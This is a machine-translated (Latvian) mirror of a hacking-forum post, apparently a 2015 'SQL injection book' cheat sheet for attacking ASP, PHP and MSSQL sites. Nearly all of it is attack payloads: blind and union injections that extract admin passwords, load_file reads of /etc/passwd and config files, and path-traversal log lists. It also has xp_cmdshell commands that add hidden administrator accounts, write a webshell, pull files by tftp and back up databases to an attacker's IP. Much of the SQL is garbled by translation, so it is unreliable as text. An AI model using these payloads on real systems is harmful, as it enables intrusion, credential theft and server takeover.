Šis raksts ir mašīntulkošanas spoguļraksts, lūdzu, noklikšķiniet šeit, lai pārietu uz oriģinālo rakstu.

Skats: 20889|Atbildi: 2

[Droša komunikācija] SQL injekcijas grāmata - ASP injekcijas ievainojamība Pilns kontakts

[Kopēt saiti]
Publicēts 28.09.2015 18:21:41 | | |


MSSQL starpdatu bāzes vaicājumi (smirdīgs ēdiens!) Tumšs)

Izspiediet katru pēdējo MS SQL pilienu

Detalizēti izskaidrotas SQL priekšraksta atsauces un ierakstu kopas objekti

Par saglabātajām procedūrām SQL Server

Izveidojiet tīmekļa čaulu ar mssql dublējumu

SQL_Injection uzlabotas lietojumprogrammas

Starpvietņu SQL injekcija (laokai)

Dīvaina SQL injekcija (AMANL)

Uzlabota SQL injekcija SQL Server lietojumprogrammās

Kā izmantot SQL injekciju, lai šķērsotu direktorijus

SQL injekcijas paņēmienu ceļvedis (tulkotājs: demonalex)

Daži uzbrukumi SQL datu bāzēm

SQL injekcijas uzbrukuma tehnika (JSW)

SQL_Injection Advanced Applications (APACHY)

Neparastas SQL injekcijas metodes (Guilin veterāns)

Čaulas dublēšana

Runājiet par php+mysql injekcijas paziņojuma struktūru (Heyhehehehe·≯Super· Hei)

Uzlabota SQL injekcija ar MySQL (eņģelis)

L'injekcija (Mans) SQL, izmantojot PHP

Oracle SQL valoda

SQL manuālās injekcijas enciklopēdija

Priekšnosacījumi prasa rīkus: SQL Query Analyzer un SqlExec Sunx versija
==============================================================================================
1. Nosakiet, vai ir injekcijas punkts
; un 1=1 un 1=2
2. Uzminiet, ka tabulas nosaukums nav nekas cits kā administrators, administrators, lietotājs, lietotāja caurlaide, parole utt.:
un 0<>(atlasiet count(*) no *)
un 0<>(select count(*) from admin) — nosakiet, vai administratora tabula pastāv
3. Uzminiet kontu skaitu Ja rodas 0< atgriezieties pareizajā lapā 1< atgrieziet kļūdas lapu, lai norādītu, ka kontu skaits ir 1
un 0<(atlasiet count(*) no administratora)
un 1<(atlasiet count(*) no admin)
4. Uzminiet lauka nosaukumu Pievienojiet lauka nosaukumu, par kuru mēs domājam len( ) iekavās.
un 1=(atlasiet count(*) no admin, kur len(*)>0)–
un 1=(atlasiet count(*) no administratora, kur len(lietotājvārda nosaukums)>0)
un 1=(atlasiet count(*) no admin, kur len(_blank>paroles lauka nosaukums)>0)
5. Uzminiet katra lauka garumu Uzminiet garumu, lai pārveidotu >0, līdz tiek atgriezta pareizā lapa
un 1=(izvēlieties count(*) no admin, kur len(*)>0)
un 1=(atlasiet count(*) no administratora, kur len(name)>6) kļūda
un 1=(atlasiet count(*) no admin, kur len(name)>5) Pareizais garums ir 6
un 1=(atlasiet count(*) no admin, kur len(name)=6) ir pareizs
un 1=(atlasiet count(*) no admin, kur len(password)>11) ir pareizs
un 1=(atlasiet count(*) no administratora, kur len(password)>12) kļūdas garums ir 12
un 1=(atlasiet count(*) no admin, kur len(password)=12) ir pareizs
6. Uzminiet rakstzīmes
un 1=(atlasiet count(*) no admin, kur left(name,1)=a) — Uzminiet lietotāja konta pirmo ciparu
un 1=(atlasiet count(*) no admin, kur left(name,2)=ab) — uzminiet lietotāja konta otro ciparu
Vienkārši pievienojiet vienu rakstzīmi vienlaikus, lai uzminētu, uzminiet pietiekami daudz ciparu, cik tikko uzminējāt, un konta numurs iznāks
(1) Uzminiet tabulas nosaukumu

Izmantotie teikumi:
un pastāv (atlasiet * no tabulas nosaukuma)

Piemēram:
un pastāv (atlasiet * no administratora)

Ja lapa atbalsojas pareizi, tas nozīmē, ka tabulas nosaukums, ko mēs šeit uzminējām, ir pareizs, un, ja lapa ir nepareiza, tad tas nozīmē, ka tabulas nosaukums, ko mēs šeit uzrakstījām, ir nepareizs

, pēc tam mainiet tabulas nosaukumu un turpiniet minēt, līdz uzminējat.

Parasti izmantotie tabulu nosaukumi ir administrators, pārvaldīt, lietotājs vai ievietot to rīka palaišanā
(2) Uzminiet lauku

Izmantotie teikumi:
un pastāv (atlasiet lauka nosaukumu no tabulas nosaukuma)

Piemēram:
un pastāv (izvēlieties lietotājvārdu no admin)

Šeit, pieņemot, ka administratora tabula ir tabula, kuru es pareizi uzminēju iepriekš, tad es vēlos noteikt, vai lietotājvārda lauks pastāv, man jāizmanto šis paziņojums, ja lapa

Ja sejas atbalss ir pareiza, tas nozīmē, ka lauka nosaukums, ko mēs šeit uzminējām, ir pareizs, un, ja lapa ir nepareiza, tad tas nozīmē, ka lauka nosaukums, ko mēs šeit uzrakstījām, ir nepareizs

, pēc tam mainiet lauka nosaukumu un turpiniet uzminēt, līdz uzminējat.

Parasti izplatītākie lauku nosaukumi ir lietotājvārds, parole, lietotājs, caurlaide, vārds, caurlaide, pwd, usr, psd un citi lauki
(3)pasūtīt pēc

Kārtot pēc ir iegūt lauku skaita summu šajā lapā, gatavojoties nākamajam kopīgajam vaicājumam
(4) Savienības izvēle

  1. Ja jūs atbalstāt kopīgu vaicājumu, atrodiet displeja bitu http://www.xxx.com/product_show.asp?id=1 un 1 = 2 savienība izvēlieties

1,2,3,4,5,6,7,8,9,10,11
Pieņemsim, ka displeja biti ir 5,6. Tālāk mums ir jāaizstāj tikai lauku nosaukumi, kas atbilst administratora lietotājvārdam un parolei, ar displeja bita pozīciju šeit
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 no admin atrada fona pieteikšanos
  2. Ja kopīgais vaicājums netiek atbalstīts
Administratora lietotājvārdu un paroli nevar iegūt bez kopīga vaicājuma - izmantojot Ascii burtisku dekodēšanu
Divi
  Izmantojiet secību pēc, lai spriestu par bitu skaitu tabulā, un, ja tas nedarbojas, izmantojiet union select, lai tos sakārtotu pa vienam, šeit mēs pieņemam 8 bitus
Trīs
  Kopīga vaicājuma izmantošana, lai noteiktu displeja bitus
Četri
  Izmantojiet displeja bitu, lai atrastu datu bāzes nosaukumu, datu bāzes versiju, 5.0 vai jaunāku var ievadīt
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,lietotājs(),0x5c,
versija()),8
Pieci
  Izmantojot datu bāzes nosaukumu, varat sākt iegūt tabulas nosaukuma shēmu =, kam seko datu bāzes nosaukuma HEX vērtība, un uzminēt tabulas nosaukumu
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+no+information_schema.kolonnas+kur+
table_schema=0x666C6965725F6462617365
Seši
  Analizētais tabulas nosaukums nosaka administratora tabulas nosaukums=tabulas nosaukums HEX vērtību un uzmin tabulas laukus
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (ATŠĶIRĪGS

+column_name),8+
no+information_schema.kolonnas+kur+table_name=0x7075625F7765626D6173746572
Septiņi
  Pēc lauku iegūšanas administratora tabulā iegūsim lauku saturu
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (ATŠĶIRĪGS

+lietotājvārds,
0x5f,lietotājspwd),8+no+pub_webmaster
Astoņi
  Rīks skenē fonu: piesakieties, lai augšupielādētu Trojas zirgu pēc tā atrašanas, un, ja nevarat atrast robots.txt failu, kuram varat piekļūt
Deviņi
  Ja nevarat atrast fonu, tiks atklāta MYSQL administratora parole
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(lietotājs,parole),8+no+mysql.user
Desmit
  Nejauši piekļūstiet ceļam, un atsauksmes ir IIS6 404 noklusējuma lapa, kas norāda, ka tīmekļa vietnes serveris ir: Windows+IIS6+php+MySql vide
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Šis ceļš var iegūt vietnes konfigurācijas informāciju.
  Pārskatu veidošana http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Vienpadsmit
  Analizējiet kodu un atrodiet fona adresi
  Pirmajā solī mums ir jāiegūst tabulas lauku garums
Izmantotie paziņojumi:
un (atlasiet augšējo 1 objektīvu (lauka nosaukums) no tabulas nosaukuma)>0
Piemēram, kas:
un (atlasiet top 1 len(admin_name) no admin)>0
Lapa tiek parādīta normāli, lauka garums admin_name ir lielāks par 0, un es iesniegšu:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Lapā tiek parādīta kļūda, kurā norādīts, ka lauks ir no 0 līdz 10, un garums ir 5, izmantojot dihotomiju
Izmantojot to pašu metodi, lai noteiktu administratora paroles lauka garumu, es saņemu garumu 16
  2. darbība
Tagad pāriesim pie otrā soļa, laukā ņemiet noteiktu rakstzīmi un iegūstam izmantotās rakstzīmes ASCII kodu

Paziņojums:
un (atlasiet top 1 asc(mid(lauka nosaukums, N,1)) no tabulas nosaukuma)>0
Ļaujiet man aplūkot šo teikumu atsevišķi, pirmkārt, iekšējo vidējo (lietotājvārds, 1,1) funkciju, kas ir admin_name lauka pirmā rakstzīme N

norāda, ka ir jāpārtver dažas pirmās rakstzīmes,
Tad ārējā funkcija asc(), kas pārvērš vidējās funkcijas pārtvertās rakstzīmes ASCII kodā, tālākais augšējais 1, attēlo pirmās vietas atgriešanās lauku

Tad ieraksts,
">0" beigās ir salīdzināt konvertēto ASCII kodu ar šo numuru un visbeidzot iegūt pārtveršanu, pastāvīgi mainot pēdējo vērtību

Iegūstiet šīs rakstzīmes specifiku
ASCII kods
Iesniegums:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Lapa tiek parādīta normāli, norādot, ka šīs rakstzīmes ASCII kods ir lielāks par 30.
Iesniegums:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Lapa tiek parādīta normāli, norādot, ka šīs rakstzīmes ASCII kods ir lielāks par 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII kods, ar kuru es nonācu šai rakstzīmei, ir 97
Salīdziniet ASCII tabulu:
Var secināt, ka pirmā rakstzīme ir "a".
Tad es spriedīšu par otrās rakstzīmes ASCII kodu.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Lapa tiek parādīta normāli, norādot, ka rakstzīmes ASCII kods ir lielāks par 90, un pēdējā vērtība vienmēr tiek mainīta
Ar to pašu metodi tika iegūta administratora parole, un rezultāts, ko es saņēmu, bija:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
un 1=(atlasiet top 1 count(*) no Admin, kur Asc(mid(pass,5,1))=51) -
Šis vaicājuma paziņojums var uzminēt ķīniešu lietotāju un _blank> paroli. Vienkārši nomainiet šādus numurus ar ķīniešu ASSIC kodu

Pārvērst par rakstzīmēm.

grupēt pēc users.id ar 1=1–www.myhack58.com
grupēt pēc users.id, users.username, users.password, users.privs ar 1=1–
; Ievietojiet lietotāju vērtības( 666, uzbrucējs, foobar, 0xffff )-

SAVIENĪBA Izvēlieties TOP 1 COLUMN_blank>_NAME NO INFORMATION_blank>_SCHEMA. KOLONNAS, kur

TABLE_blank>_NAME=logintable-
SAVIENĪBA Izvēlieties TOP 1 COLUMN_blank>_NAME NO INFORMATION_blank>_SCHEMA. KOLONNAS, kur

TABLE_blank>_NAME=logintable Kur COLUMN_blank>_NAME NAV (login_blank>_id)-
SAVIENĪBA Izvēlieties TOP 1 COLUMN_blank>_NAME NO INFORMATION_blank>_SCHEMA. KOLONNAS, kur

TABLE_blank>_NAME=logintable Kur COLUMN_blank>_NAME NAV

(login_blank>_id,login_blank>_name)-
SAVIENĪBA Izvēlieties TOP 1 login_blank>_name NO logintable-
SAVIENĪBA Izvēlieties TOP 1 paroli NO pieteikšanās tabulas, kur login_blank>_name=Rahul-
Paskatieties uz _blank> servera atskaņoto ielāpu = nepareizs SP4 plāksteris melnās joslas drošības tīkls
un 1=(atlasiet @@VERSION)-

Apskatiet _blank> datu bāzes savienojuma konta atļaujas, un tas atgriežas normāli, pierādot, ka tā ir _blank> servera lomas sistēmas administratora atļauja.
un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(sysadmin))-

Nosakiet, _blank> ir pievienots datu bāzes konts. (Izmantojiet SA kontu, lai izveidotu savienojumu un atgrieztu normālu = pierādīt, ka pievienotais konts ir SA)
un sa=(Atlasīt System_blank>_user)-
un user_blank>_name()=dbo–
un 0<>(atlasiet user_blank>_name()–

Pārbaudiet, vai xp_blank>_cmdshell dzēš
un 1=(Atlasīt skaitu(*) NO master.dbo.sysobjects Kur xtype = X UN nosaukums = xp_blank>_cmdshell)



xp_blank>_cmdshell tiek izdzēsts, atjaunots un atbalsta absolūtā ceļa atkopšanu
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== DB atļauja tiek pakļauta tīmekļa vietnes fiziskajam ceļa kodam

==========================================================================
1 、 nomešanas galds [jm_tmp]; izveidot tabulu [jm_tmp](vērtība navrchar(4000) null,data nvarchar(4000)

null) -- Izveidot tabulu


2、 svītrot [jm_tmp]; Ievietot [jm_tmp] exec master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Vietnes direktorija ievietošana tabulas laukā


3、un (izvēlieties Top 1 cast([dati] kā nvarchar(4000) char(124) no [jm_tmp] secībā pēc [dati]

desc)=0 '//Atklātais lauks


4. Nomest tabulu [jm_tmp] -- Izdzēsiet šo tabulu.
komandai, lai iegūtu čaulu
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Citi staciju ceļi
======================load_file() Bieži izmantotā sensitīva informācija ===========================================
1、 aizstāt(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、aizstāt(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Iepriekš minētie divi ir apskatīt PHP failu, kas pilnībā parāda kodu. Dažreiz dažas rakstzīmes netiek aizstātas, piemēram, "<", nevis "atstarpe", kas atgriežas

Tīmekļa lapa. Un kodu nevar apskatīt.

3. load_file(char(47)) var uzskaitīt FreeBSD un Sunos sistēmu saknes direktoriju

4. Skatiet linux APACHE virtuālā resursdatora konfigurācijas failu /etc/httpd/conf/httpd.conf vai /usr/local/apche/conf/httpd.conf

5. C: \ Program Files \ Apache Group \ Apache \ conf \ httpd.conf vai C: \ apache \ conf \ httpd.conf lai skatītu WINDOWS

Sistēmas Apache fails

6. c:/Resin-3.0.14/conf/resin.conf Skatiet jsp izstrādātās tīmekļa vietnes sveķu faila konfigurācijas informāciju.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, lai apskatītu Linux sistēmā konfigurēto JSP virtuālo resursdatoru

8、d:\APACHE\Apache2\conf\httpd.conf

9 、 C: \ Program Files \ mysql \ my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin eksplodēt ceļš

11. C: \ Windows \ system32 \ inetsrv \ MetaBase.xml Skatiet IIS virtuālo resursdatora konfigurācijas failu

12. /usr/local/resin-3.0.22/conf/resin.conf, lai apskatītu RESIN konfigurācijas failu 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Tas pats kā iepriekš

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuālais resursdators

15. /etc/sysconfig/iptables ir atkarīgs no ugunsmūra politikas

16. /usr/local/app/php5 b/php.ini PHP ekvivalenti iestatījumi

17. /etc/my.cnf MYSQL konfigurācijas fails

18. /etc/redhat-release sistēmas versija Red Hat

19 、C:\mysql\data\mysql\user. MYD pastāv lietotāja parolē MYSQL sistēmā

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0, lai skatītu IP.

21. /usr/local/app/php5 b/php.ini //PHP saistītie iestatījumi

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuālās vietnes iestatījumi

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\Windows\my.ini

25. /etc/issue parāda Linux kodola izplatīšanas informāciju

26 、 / etc / ftpuser

27. Pārbaudiet operāciju žurnālfailu zem LINUX user.bash_history vai .bash_profile

28 、 / etc / ssh / ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/baļķi/error.log
.. /apache/žurnāli/access.log
.. /.. /apache/baļķi/error.log
.. /.. /apache/žurnāli/access.log
.. /.. /.. /apache/baļķi/error.log
.. /.. /.. /apache/žurnāli/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/vietējais/apache/žurnāli/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/baļķi/error.log     
.. /apache/žurnāli/access.log
.. /.. /apache/baļķi/error.log
.. /.. /apache/žurnāli/access.log
.. /.. /.. /apache/baļķi/error.log
.. /.. /.. /apache/žurnāli/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Reversais PING eksperiments pats
; izmantojiet meistaru; deklarēt @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; izpilddirektors

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Konta pievienošana
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c neto lietotājs jiaoniang$ 1866574 /add–

Izveidojiet virtuālo direktoriju E-disks:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "noklusējuma vietne" -v "e","e:\"–

Piekļuves atribūti: (ar rakstīšanu tīmekļa čaulā)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Īpašs _blank> triks bibliotēkas pārrāvumam: :%5c=\ vai modificējiet %5 ar / un \, lai apņemtos
un 0<> (atlasiet 1 labākos ceļus no jaunās tabulas) -

Iegūstiet datu bāzes nosaukumu (no 1 līdz 5 ir sistēmas ID, un jūs varat tos spriest virs 6)
un 1=(izvēlieties nosaukumu no master.dbo.sysdatabases, kur dbid=7)-
un 0<>(atlasiet count(*) no master.dbo.sysdatabases, kur name>1 un dbid=6)
Iesniegt dbid pēc kārtas = 7,8,9.... Iegūstiet vairāk _blank> datu bāzu nosaukumiem

un 0<>(izvēlieties top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=U) ielauzās tabulā, pieņemot, ka admin
un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=u un name not in (Admin)).

Citas tabulas.
un 0<>(atlasiet count(*) no bbs.dbo.sysobjects, kur xtype=u un name=admin
un uid>(str(id))) Tiek pieņemts, ka UID skaitliskā vērtība ir 18779569 uid=id
un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.syscolumns, kur id=18779569) iegūstiet lauku admin, false

Iestatīt uz user_blank>_id
un 0<>(atlasiet Top 1 nosaukumu no bbs.dbo.syscolumns, kur id=18779569 un name not
(id,...)) Citu lauku atklāšana
un 0<(atlasiet user_blank>_id no BBS.dbo.admin, kur lietotājvārds>1), lai iegūtu lietotājvārdu
Savukārt jūs varat iegūt _blank> paroli。。。。。 Pieņemsim, ka ir tādi lauki kā user_blank>_id lietotājvārds, parole utt

un 0<>(atlasiet count(*) no master.dbo.sysdatabases, kur name>1 un dbid=6)
un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=U), lai iegūtu tabulas nosaukumu
un 0<>(atlasiet top 1 nosaukumu no bbs.dbo.sysobjects, kur xtype=u un name not in(Address))
un 0<>(atlasiet count(*) no bbs.dbo.sysobjects, kur xtype=u un name=admin un uid>(str(id)))

ID vērtības noteikšana
un 0<>(atlasiet 1 labāko nosaukumu no BBS.dbo.syscolumns, kur id=773577794) visi lauki

?id=-1 savienība atlasiet 1,2,3,4,5,6,7,8,9,10,11,12,13,* no admin
?id=-1 savienība atlasiet 1,2,3,4,5,6,7,8,*,9,10,11,12,13 no admin (savienība,piekļuve ir arī viegli lietojama)

Iegūt ceļu WEB
; Izveidot tabulu [DBO]. [mijmaiņa] ([swappass][char](255)); –
un (izvēlieties 1 labāko swappass no mijmaiņas)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

meistars.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTĒMA

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT ievietot paths(path) values(@test)-
; izmantojiet ku1; –
; izveidot tabulu cmd (str attēls); - Izveidojiet attēla tipa tabulu cmd
1. Veids, kā noņemt xp_cmdshell paplašināšanas procesu, ir izmantot šādu paziņojumu:

if exists (atlasiet * no dbo.sysobjects, kur id=object_id(N'[dbo].[ xpcmdshell]') un

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]"

2. Veids xp_cmdshell kā pievienot paplašināšanas procesu, ir izmantot šādu apgalvojumu:

(1) SQL vaicājumu analizators

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Vispirms aizpildiet %s formātā opcija SqlExec Sunx versija un ievadiet to CMD opcijā

sp_addextendedproc "xp_cmdshell", "xpsql70.dll"

noņemt

sp_dropextendedproc "xp_cmdshell"

(3)MSSQL2000

sp_addextendedproc "xp_cmdshell", "xplog70.dll"
Ir xp_blank>_cmdshell testēšanas procesi:
; izpildmeistars .. xp_blank>_cmdshell dir
; izpilddirektors master.dbo.sp_blank>_addlogin jiaoniang$; - Pievienojiet SQL kontus
; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang $ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell neto lietotājs jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell neto vietējās grupas administratori jiaoniang$ /add; –
izpildmeistars .. xp_blank>_servicecontrol sākt, ieplānojiet _blank> pakalpojuma sākšanu
izpildmeistars .. xp_blank>_servicecontrol start, serveris
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c neto lietotājs jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c neto vietējās grupas administratori jiaoniang$ /add
; izpildmeistars .. xp_blank>_cmdshell tftp -i youip get file.exe - augšupielādējiet failus, izmantojot TFTP

; deklarēt @a sysname kopu @a=xp_blank>_+cmdshell exec @a dir c:\
; deklarēt @a sysname kopu @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; deklarēt @a; iestatiet @a=db_blank>_name(); dublēt datu bāzi @a uz disk=your IP Jūsu koplietojamā direktorija bak.dat
Ja ir ierobežots, jā.
atlasiet * no openrowset(_blank>sqloledb,server; sa; ,atlasiet Labi! izpilddirektors

master.dbo.sp_blank>_addlogin hax)

Vaicājuma struktūra:
Izvēlieties * NO ziņām Kur id=... UN tēma=... UN .....
adminand 1=(izvēlieties count(*) no [user], kur username=victim un right(left(userpass,01),1)=1)

un UserPass <>
atlasiet 123; –
; izmantojiet meistaru; –
:a vai nosaukums, piemēram, fff%; - Rāda lietotāju ar nosaukumu ffff.
un 1<>(atlasiet count(email) no [lietotājs]); –
; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet top 1 nosaukumu no sysobjects, kur xtype=u un status>0) kur

nosaukums=ffff; –
; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet top 1 ID no sysobjects, kur xtype=you un name=ad) kur

nosaukums=ffff; –
; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet 1. populārāko nosaukumu no sysobjects, kur xtype=u un id>581577110)

kur nosaukums=ffff; –
; atjaunināt [lietotāji] iestatiet e-pasts=(atlasiet top 1 count(id) no paroles), kur name=ffff; –
; atjaunināt [lietotāji] iestatīt e-pastu = (atlasiet top 1 pwd no paroles, kur id = 2) kur vārds = ffff; –
; atjaunināt [lietotāji] iestatīt e-pasts=(atlasiet top 1 vārdu no paroles, kur id=2) kur vārds=ffff; –
Iepriekš minētais apgalvojums ir iegūt pirmo lietotāju tabulu _blank> datu bāzē un ievietot tabulas nosaukumu ffff lietotāja e-pasta laukā.
Apskatot ffff lietotāja profilu, jūs varat iegūt pirmo tabulu ar nosaukumu AD
Pēc tam iegūstiet šīs tabulas ID atbilstoši tabulas nosaukuma reklāmai, lai iegūtu otrās tabulas nosaukumu

Ievietot lietotāju vērtības( 666, rakstzīmes(0×63)+rakstzīmes(0×68)+rakstzīmes(0×72)+rakstzīmes(0×69)+rakstzīmes(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Ievietot lietotāju vērtības( 667,123,123,0xffff)–
Ievietot lietotāju vērtības ( 123, admin–, parole, 0xffff)–
; un lietotājs>0
; un (atlasiet count(*) no sysobjects)>0
; un (atlasiet count(*) no mysysobjects)>0 // access_blank> datu bāzei

Datu tabulas nosaukuma uzskaitīšana
; atjaunināt aaa set aaa=(atlasiet top 1 nosaukumu no sysobjects, kur xtype=u un status>0); –
Šeit pirmais tabulas nosaukums tiek atjaunināts uz lauku AAA.
Izlasiet pirmo tabulu, un otro tabulu var lasīt šādi (pievienojiet un nosauciet pēc nosacījuma<> tikko iegūtās tabulas nosaukumu).
; atjaunināt aaa kopu aaa=(atlasiet top 1 nosaukumu no sysobjects, kur xtype=u un status>0 un

vārds<>balsojums); –
Tad id=1552 un eksistē(izvēlieties * no aaa, kur aaa>5)
Izlasiet otro tabulu un izlasiet to pa vienam, līdz tās nav.
Lasīšanas lauks izskatās šādi:
; atjaunināt aaa kopu aaa=(atlasiet top 1 col_blank>_name(object_blank>_id(tabulas nosaukums),1)); –
Tad id=152 un eksistē(atlasiet * no aaa, kur aaa>5) saņem kļūdu un iegūst lauka nosaukumu
; atjaunināt aaa kopu aaa=(atlasiet 1. augšējo col_blank>_name(object_blank>_id(tabulas nosaukums),2)); –
Tad id=152 un eksistē(atlasiet * no aaa, kur aaa>5) saņem kļūdu un iegūst lauka nosaukumu

